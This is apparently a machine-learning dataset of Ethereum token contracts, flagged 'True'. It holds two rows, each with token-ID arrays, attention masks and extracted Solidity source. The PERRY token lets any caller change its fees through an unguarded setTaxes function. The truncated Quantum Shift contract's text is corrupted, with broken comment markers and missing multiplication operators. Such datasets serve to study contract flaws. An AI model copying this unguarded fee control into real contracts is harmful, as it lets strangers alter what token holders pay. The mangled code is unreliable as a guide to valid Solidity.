1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 3030, 2003, 3079, 1063, 22017, 2140, 2270, 3030, 1027, 2995, 1025, 16913, 18095, 16839, 14399, 5669, 1063, 20865, 1006, 999, 3030, 1007, 1025, 1035, 1025, 1065, 3853, 2707, 1006, 1007, 2069, 12384, 2121, 2270, 1063, 3030, 1027, 6270, 1025, 1065, 3853, 2644, 1006, 1007, 2069, 12384, 2121, 2270, 1063, 3030, 1027, 2995, 1025, 1065, 1065, 3206, 8785, 13535, 2102, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1060, 1010, 21318, 3372, 17788, 2575, 1061, 1007, 5377, 4722, 5651, 1006, 21318, 3372, 17788, 2575, 1062, 1007, 1063, 20865, 1006, 1006, 1062, 1027, 1060, 1009, 1061, 1007, 1028, 1027, 1060, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1060, 1010, 21318, 3372, 17788, 2575, 1061, 1007, 5377, 4722, 5651, 1006, 21318, 3372, 17788, 2575, 1062, 1007, 1063, 20865, 1006, 1006, 1062, 1027, 1060, 1011, 1061, 1007, 1026, 1027, 1060, 1007, 1025, 1065, 1065, 3206, 19204, 2121, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 2270, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 5377, 2270, 5651, 1006, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 5377, 2270, 5651, 1006, 21318, 3372, 17788, 2575, 1035, 21447, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 7929, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 7929, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 7929, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 1065, 3206, 22975, 2102, 2003, 3079, 1010, 3030, 1010, 8785, 13535, 2102, 1010, 19204, 2121, 2278, 11387, 1063, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 2270, 21447, 1025, 12375, 1006, 4769, 1027, 1028, 22017, 2140, 1007, 2270, 7708, 6305, 3597, 16671, 1025, 2724, 7708, 11263, 18376, 1006, 4769, 4539, 1010, 22017, 2140, 7708, 1007, 1025, 2724, 6402, 1006, 4769, 2013, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 9570, 2953, 1006, 5164, 1035, 2171, 1010, 5164, 1035, 6454, 1007, 2270, 1063, 21948, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-18 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract PerryThePlatypus is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Perry the Platypus"; string private constant _symbol = "PERRY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1000 * 1e5 * 1e9; // 100,000,000 uint256 private _firstBlock; uint256 private _botBlocks; uint256 public _maxWalletAmount = 4000 * 1e3 * 1e9; // 4,000,000 // fees uint256 public _liquidityFeeOnBuy = 0; uint256 public _marketingFeeOnBuy = 7; uint256 public _liquidityFeeOnSell = 6; uint256 public _marketingFeeOnSell = 3; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _previousMarketingFee = _marketingFee; uint256 private _liquidityFee; uint256 private _marketingFee; struct FeeBreakdown { uint256 tLiquidity; uint256 tMarketing; uint256 tAmount; } mapping(address => bool) private bots; address payable private _marketingAddress = payable(0x620ab81bE2772D429edA6478F0167ce720A33896); address payable private _deployWallet = payable(0x620ab81bE2772D429edA6478F0167ce720A33896); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; uint256 public swapAmount; bool private tradingOpen = false; bool private inSwap = false; event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); swapAmount = 100000 * 1e9; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_deployWallet] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (_marketingFee == 0 && _liquidityFee == 0) return; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; _marketingFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _liquidityFee = _previousLiquidityFee; _marketingFee = _previousMarketingFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = true; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(tradingOpen); if (from == uniswapV2Pair && to != address(uniswapV2Router)) { require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) { _liquidityFee = _liquidityFeeOnBuy; _marketingFee = _marketingFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _liquidityFee = _liquidityFeeOnSell; _marketingFee = _marketingFeeOnSell; } if (!inSwap && from != uniswapV2Pair) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > swapAmount) { swapAndLiquify(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _deployWallet, block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee)); // split the contract balance into halves uint256 half = autoLPamount.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf); addLiquidity(half, newBalance); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function manualSwap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); if (contractBalance > 0) { swapTokensForEth(contractBalance); } } function manualSend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) { removeAllFee(); } _transferStandard(sender, recipient, amount); restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 amount) private { FeeBreakdown memory fees; fees.tMarketing = amount.mul(_marketingFee).div(100); fees.tLiquidity = amount.mul(_liquidityFee).div(100); fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(fees.tAmount); _balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity)); emit Transfer(sender, recipient, fees.tAmount); } receive() external payable {} function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() { require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply"); require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply"); _maxWalletAmount = maxWalletAmount; } function setSwapAmount(uint256 _swapAmount) external { require(_msgSender() == _deployWallet \|\| _msgSender() == _marketingAddress); swapAmount = _swapAmount; } function setTaxes(uint256 marketingFee, uint256 liquidityFee) external { uint256 totalFee = marketingFee.add(liquidityFee); require(totalFee < 25, "Sum of fees must be less than 25"); _marketingFee = marketingFee; _liquidityFee = liquidityFee; _previousMarketingFee = _marketingFee; _previousLiquidityFee = _liquidityFee; emit FeesUpdated(_marketingFee, _liquidityFee); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5840, 1011, 2324, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4487, 2615, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-06-26 / // SPDX-License-Identifier: Unlicensed /** * #Quantum Shift features: 5% fee auto added to the liquidity pool and locked forever 5% fee auto distributed to all holders / pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot 